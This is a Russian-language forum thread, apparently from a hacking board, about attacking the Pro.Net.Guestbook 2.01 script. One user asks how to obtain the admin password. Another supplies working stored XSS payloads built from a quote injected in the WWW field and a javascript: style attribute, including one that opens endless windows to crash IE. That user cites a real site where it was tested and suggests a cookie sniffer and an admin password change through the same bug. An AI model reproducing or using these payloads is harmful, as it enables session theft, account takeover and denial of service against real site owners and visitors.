Pro.Net.Guestbook version 2.01

[XgLuiR]

Не кто не знает как получить пароль ? в этом скрипте

[queen]

v pole


WWW:

prohodit " kaviuchka.

znachit pischeschi tak.

v pole


WWW:

http://www.kez.com"`=`

a v tele soobscheniya pischeschi odnovremenno sledyschee:

` style=`background:url(javaSCrip t:alert(/Kez/))`

A esli hotite bezchislennoe kolichestvo okoschek dati, to pischete vot tak v tele dlya messag:


` style=`background:url(javaSCrip t:for(;;)open())`

I pogibaet user s IE.



Testirovalosi tyt.

http://www.airschool.ru/cgi-bin/gb/gb.cgi

[XgLuiR]

блин мне бы узнать как пароль от админки получить

[queen]

lol, ny vot. vmesto alerta sniffer zasyni trydno chotli

[XgLuiR]

да интересно там возмоен просмотр госевой через админку :) Сенк попробую :0

[queen]

nihera ne ponyal...


kstati esli y admina pass ne nyzhdaetsya v starom passworde chtobiu izmeniti na noviui, to moscheschi emy password pomenyati cherez ty bagy kotoryiu Ya tebe dal.